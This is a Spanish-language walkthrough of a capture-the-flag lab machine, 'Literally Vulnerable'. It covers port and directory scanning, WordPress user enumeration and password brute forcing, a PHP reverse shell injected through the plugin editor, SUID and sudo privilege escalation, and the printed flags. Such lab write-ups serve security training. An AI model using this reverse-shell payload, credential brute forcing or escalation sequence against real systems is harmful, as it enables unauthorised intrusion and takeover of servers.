Escaneo de puertos

```
nmap -p- --min-rate 5000 -sV <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-03 09:59 EDT
Nmap scan report for 192.168.5.164
Host is up (0.00042s latency).

PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r--    1 ftp      ftp           325 Dec 04  2019 backupPasswords
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to ::ffff:192.168.5.162
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 3
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp    open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 2f:26:5b:e6:ae:9a:c0:26:76:26:24:00:a7:37:e6:c1 (RSA)
|   256 79:c0:12:33:d6:6d:9a:bd:1f:11:aa:1c:39:1e:b8:95 (ECDSA)
|_  256 83:27:d3:79:d0:8b:6a:2a:23:57:5b:3c:d7:b4:e5:60 (ED25519)
80/tcp    open  http    nginx 1.14.0 (Ubuntu)
|_http-generator: WordPress 5.3
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: Not so Vulnerable &#8211; Just another WordPress site
65535/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Apache2 Ubuntu Default Page: It works
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 00:0C:29:F4:B8:F3 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.42 ms 192.168.5.164

OS and Service detection performed. Please report any incorrect results at
```

```
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.99 seconds
```

Gobuster

```
gobuster dir -u http://<IP>:65535/ -w <WORDLIST> -x html,php,txt -t 50 -k -r
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.164:65535/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess            (Status: 403) [Size: 281]
/.htaccess.txt        (Status: 403) [Size: 281]
/.htaccess.html       (Status: 403) [Size: 281]
/.htpasswd.html       (Status: 403) [Size: 281]
/.htpasswd.php        (Status: 403) [Size: 281]
/.htpasswd.txt        (Status: 403) [Size: 281]
/.htaccess.php        (Status: 403) [Size: 281]
/.htpasswd            (Status: 403) [Size: 281]
/index.html           (Status: 200) [Size: 10918]
/javascript           (Status: 403) [Size: 281]
/server-status        (Status: 403) [Size: 281]
/phpcms               (Status: 200) [Size: 44148]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
```

Vemos que hay un directorio llamado `/phpcms` si entramos en el, vemos la misma pagina que en el puerto `80`, si le tiramos otro `gobuster`...

```
gobuster dir -u http://<IP>:65535/phpcms -w <WORDLIST> -x html,php,txt -t 50 -k -r
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.164:65535/phpcms
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,php,txt
[+] Follow Redirect:         true
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess.html       (Status: 403) [Size: 281]
/.htpasswd            (Status: 403) [Size: 281]
/.htpasswd.txt        (Status: 403) [Size: 281]
/.htaccess.php        (Status: 403) [Size: 281]
/.htpasswd.html       (Status: 403) [Size: 281]
/.htaccess.txt        (Status: 403) [Size: 281]
/.htaccess            (Status: 403) [Size: 281]
/.htpasswd.php        (Status: 403) [Size: 281]
/index.php            (Status: 200) [Size: 44148]
/license.txt          (Status: 200) [Size: 19935]
/readme.html          (Status: 200) [Size: 7368]
/wp-content           (Status: 200) [Size: 0]
/wp-includes          (Status: 200) [Size: 45732]
/wp-login.php         (Status: 200) [Size: 5161]
/wp-trackback.php     (Status: 200) [Size: 135]
/wp-config.php        (Status: 200) [Size: 0]
Progress: 81299 / 81880 (99.29%)[ERROR] Get
"http://literally.vulnerable:65535/phpcms/wp-
login.php?redirect_to=http%3A%2F%2F192.168.5.164%3A65535%2Fphpcms%2Fwp-
admin%2F&reauth=1": dial tcp: lookup literally.vulnerable on 192.168.5.2:53: no such
host
/xmlrpc.php           (Status: 405) [Size: 42]

===============================================================
Finished
===============================================================
```

Nos decubre varias cosas entre ellas un `Wordpress`...

```
wpscan --url http://<IP>:65535/phpcms/ --enumerate u
```

Info:

```
     __          _______   _____
     \ \        / /  __ \ / ____|
      \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
       \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
        \  /\  /  | |     ____) | (__| (_| | | | |
         \/  \/   |_|    |_____/ \___|\__,_|_| |_|

     WordPress Security Scanner by the WPScan Team
                     Version 3.8.25

   @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
```

```
[i] Updating the Database ...
[i] Update completed.

[+] URL: http://192.168.5.164:65535/phpcms/ [192.168.5.164]
[+] Started: Mon Jun  3 10:05:37 2024

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.5.164:65535/phpcms/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
|  - http://codex.wordpress.org/XML-RPC_Pingback_API
|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
|  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.5.164:65535/phpcms/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.5.164:65535/phpcms/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.5.164:65535/phpcms/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
|  - https://www.iplocation.net/defend-wordpress-from-ddos
|  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.3 identified (Insecure, released on 2019-11-12).
| Found By: Emoji Settings (Passive Detection)
|  - http://192.168.5.164:65535/phpcms/, Match: 'wp-includes/js/wp-emoji-release.min.js?ver=5.3'
| Confirmed By: Meta Generator (Passive Detection)
|  - http://192.168.5.164:65535/phpcms/, Match: 'WordPress 5.3'

[i] The main theme could not be detected.

[+] Enumerating Users (via Passive and Aggressive Methods)
Brute Forcing Author IDs - Time: 00:00:00
<====================================================================================> (10 /
10) 100.00% Time: 00:00:00
```

```
[i] User(s) Identified:

[+] maybeadmin
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[+] notadmin
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Mon Jun  3 10:05:38 2024
[+] Requests Done: 84
[+] Cached Requests: 4
[+] Data Sent: 15.696 KB
[+] Data Received: 21.342 MB
[+] Memory used: 157.832 MB
[+] Elapsed time: 00:00:01
```

~~~

Nos descubre 2 usuarios llamados ``maybeadmin`` y ``notadmin``...

Antes de nada hacemos lo siguiente...

```shell
sudo nano /etc/hosts

#Contenido
<IP>         literally.vulnerable

#Guardar y salir
^X
y
<ENTER>
~~~

Y despues hacemos esto...

```
nano users.txt

#Contenido
maybeadmin
notadmin

#Guardar y salir
^X
y
<ENTER>
```

ftp

```
ftp anonymous@<IP>

get backupPasswords
```

Este archivo contiene lo siguiente...

```
Hi Doe,

I'm guessing you forgot your password again! I've added a bunch of passwords below
along with your password so we don't get hacked by those elites again!

*$eGRIf7v38s&p7
yP$*SV09YOrx7mY
GmceC&oOBtbnFCH
3!IZguT2piU8X$c
P&s%F1D4#KDBSeS
$EPid%J2L9LufO5
nD!mb*aHON&76&G
$*Ke7q2ko3tqoZo
SCb$I^gDDqE34fA
Ae%tM0XIWUMsCLp
```

Por lo que nos crearemos un diccionario con esto...

```
nano passwords.txt

#Contenido
*$eGRIf7v38s&p7
yP$*SV09YOrx7mY
GmceC&oOBtbnFCH
3!IZguT2piU8X$c
P&s%F1D4#KDBSeS
$EPid%J2L9LufO5
nD!mb*aHON&76&G
$*Ke7q2ko3tqoZo
SCb$I^gDDqE34fA
Ae%tM0XIWUMsCLp

#Guardar y salir
^X
y
<ENTER>

wpscan --url http://<IP>:65535/phpcms/ --usernames users.txt --passwords
passwords.txt
```

Info:

```

```

```
     __          _______   _____
     \ \        / /  __ \ / ____|
      \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
       \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
        \  /\  /  | |     ____) | (__| (_| | | | |
         \/  \/   |_|    |_____/ \___|\__,_|_| |_|

     WordPress Security Scanner by the WPScan Team
                     Version 3.8.25
```

```
   Sponsored by Automattic - https://automattic.com/
   @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
```

```
[+] URL: http://192.168.5.164:65535/phpcms/ [192.168.5.164]
[+] Started: Mon Jun  3 10:18:08 2024

Interesting Finding(s):

[+] Headers
| Interesting Entry: Server: Apache/2.4.29 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%

[+] XML-RPC seems to be enabled: http://192.168.5.164:65535/phpcms/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
|  - http://codex.wordpress.org/XML-RPC_Pingback_API
|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
|  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
|  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://192.168.5.164:65535/phpcms/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] Upload directory has listing enabled: http://192.168.5.164:65535/phpcms/wp-content/uploads/
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://192.168.5.164:65535/phpcms/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
|  - https://www.iplocation.net/defend-wordpress-from-ddos
|  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 5.3 identified (Insecure, released on 2019-11-12).
| Found By: Emoji Settings (Passive Detection)
|  - http://192.168.5.164:65535/phpcms/, Match: 'wp-includes/js/wp-emoji-release.min.js?ver=5.3'
| Confirmed By: Meta Generator (Passive Detection)
|  - http://192.168.5.164:65535/phpcms/, Match: 'WordPress 5.3'

[i] The main theme could not be detected.

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.
```

```
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00
<==================================================================================> (137 / 137) 100.00% Time: 00:00:00

[i] No Config Backups Found.

[+] Performing password attack on Xmlrpc against 2 user/s
[SUCCESS] - maybeadmin / $EPid%J2L9LufO5
Trying notadmin / $*Ke7q2ko3tqoZo Time: 00:00:00
<==================================================                    > (18 / 28) 64.28%  ETA: ??:??:??

[!] Valid Combinations Found:
| Username: maybeadmin, Password: $EPid%J2L9LufO5

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Mon Jun  3 10:18:11 2024
[+] Requests Done: 184
[+] Cached Requests: 4
[+] Data Sent: 56.654 KB
[+] Data Received: 184.04 KB
[+] Memory used: 229.223 MB
[+] Elapsed time: 00:00:03
```

```
Vemos que conseguimos las credenciales de 1 usuario...
```

User = maybeadmin
Password = $EPid%J2L9LufO5

```
Si nos logeamos con este usuario veremos que no somos ``admin`` por lo que no
podremos hacer mucho, pero si nos vamos a un ``Post`` en concreto llamado ``Secure
Post – Password protected`` veremos la contraseña del otro usuario llamado
``notadmin``...
```

Really!? Agaain? Make sure you don't forget it now!

notadmin:Pa$$w0rd13!&

```
Con esto ya estariamos dentro con el rol de ``administrador``, por lo que haremos lo
siguiente...

Nos iremos a ``plugins`` dentro de esa seccion nos iremos a ``Plugins Editor`` ahi
modificaremos el codigo de ``php`` para inyectar una ``Reverse Shell`` de la
siguiente manera...

El ``plugin`` se llamara ``Akismet Anti-Spam``...
```

~~~
```php
$sock=fsockopen("<IP>",<PORT>);$proc=proc_open("sh", array(0=>$sock, 1=>$sock,
2=>$sock),$pipes);
~~~

Una vez guardado los cambios, nos vamos a `Plugins` y le damos a `Activar` el `plugin`, estando a la escucha...

```
nc -lvnp <PORT>
```

Ya tendriamos una shell la cual vamos a sanitizar...

```
script /dev/null -c bash

# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm

# Para ver las dimensiones de nuestra consola en el Host
stty size

# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
```

Si nos vamos a la carpeta de `Doe` ubicada en `/home/doe/` veremos un archivo llamado `noteFromAdmin` que pone lo siguiente...

```
Hey Doe,

Remember to not delete any critical files as you did last time!
```

Y vemos tambien el siguiente archivo que tiene el permiso `SUID` del usuario `john` por lo que si lo ejecutamos, lo estariamos haciendo como ese usuario...

```
-rwsr-xr-x 1 john john 8632 Dec  4  2019 itseasy
```

Al ver esto, lo que vamos hacer es lo siguiente...

```
export PWD=$(/bin/bash)

./itseasy
```

Con esto ya seriamos el usuario `john`...

Veremos que no podemos casi hacer ningun comando, por lo que nos crearemos una `id_rsa` con este usuario para meternos por `ssh`...

```
ssh-keygen -t rsa -b 4096
```

Le damos todo a `Enter`...

```
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
```

Y una vez creado el `.ssh/` iremos a el...

```
cd /home/john/.ssh/
```

Abriremos un servidor de `python3` para poder pasarnos el `id_rsa`...

```
python3 -m http.server
```

> Host

```
wget http://<IP>:8000/id_rsa
```

Una vez pasado haremos lo siguiente...

```
chmod 600 id_rsa
```

En la maquina victima creamos el archivo `authorized_keys`...

```
cat ~/.ssh/id_rsa.pub >> ~/.ssh/authorized_keys
```

Y en nuestro `host` entramos ya por `ssh` utilizando el `id_rsa`...

```
ssh -i id_rsa john@<IP>
```

Una vez hecho eso ya estariamos dentro...

Leemos la flag...

> user.txt (flag1)

```
Almost there! Remember to always check permissions! It might not help you here, but
somewhere else! ;)
Flag: iuz1498ne667ldqmfarfrky9v5ylki
```

Si nos metemos en la siguiente ubicacion...

```
cd ~/.local/share/tmpFiles
```

Veremos un archivo llamado `myPassword` si lo leemos pone lo siguiente...

```
I always forget my password, so, saving it here just in case. Also, encoding it with
b64 since I don't want my colleagues to hack me!
am9objpZWlckczhZNDlJQiNaWko=
```

Por lo que vemos eso es un `Base64` que si lo decodificamos veriamos lo siguiente...

```
john:YZW$s8Y49IB#ZZJ
```

Por lo que haremos `sudo -l` y veremos esto...

```
Matching Defaults entries for john on literallyvulnerable:
    env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User john may run the following commands on literallyvulnerable:
    (root) /var/www/html/test.html
```

Podemos ejecutar eso como `root`, pero si vamos a esa ubicacion vemos que el archivo no esta creado, por lo que haremos lo siguiente...

Nos volvemos a `www-data` para poder crear el archivo `test.html`...

```
echo '/bin/bash' > test.html

chmod 777 test.html
```

Una vez hecho esto, nos volvemos al usuario `john` para ejecutarlo...

```
sudo /var/www/html/test.html
```

Y con esto ya seriamos `root` por lo que leeremos las flags...

> local.txt (flag2)

```
Congrats, you did it! I hope it was *easy* for you! Keep in mind #EEE is the way to go!
Flag: worjnp1jxh9iefqxrj2fkgdy3kpejp
```

> root.txt (flag3)

```
It was
```

```
| |  () /          / / /     / / / /   / /             / /  / /   / /
/ /   / / ___ _ __ __ / / /  _  / / / /  / / __  ___ _ __ __ / /_ | | / /
/ /  / / /_ \'/ / / / / / / / / / / / / / / '_ \ / _ \ '__/ _ / ' / /⁄_ \ /
/ /| | || / | | (/ / / / /| | \_/ / \/ / / / / / / __/ / / (| | |) / / __/|
_/|__|/ _,/||_, | _/ _,||/| ||___/|| _,|.__/||___()
/ /
|/
```

Congrats, you did it! I hope it was *literally easy* for you! :)
Flag: pabtejcnqisp6un0sbz0mrb3akaudk

Let me know, if you liked the machine @syed__umar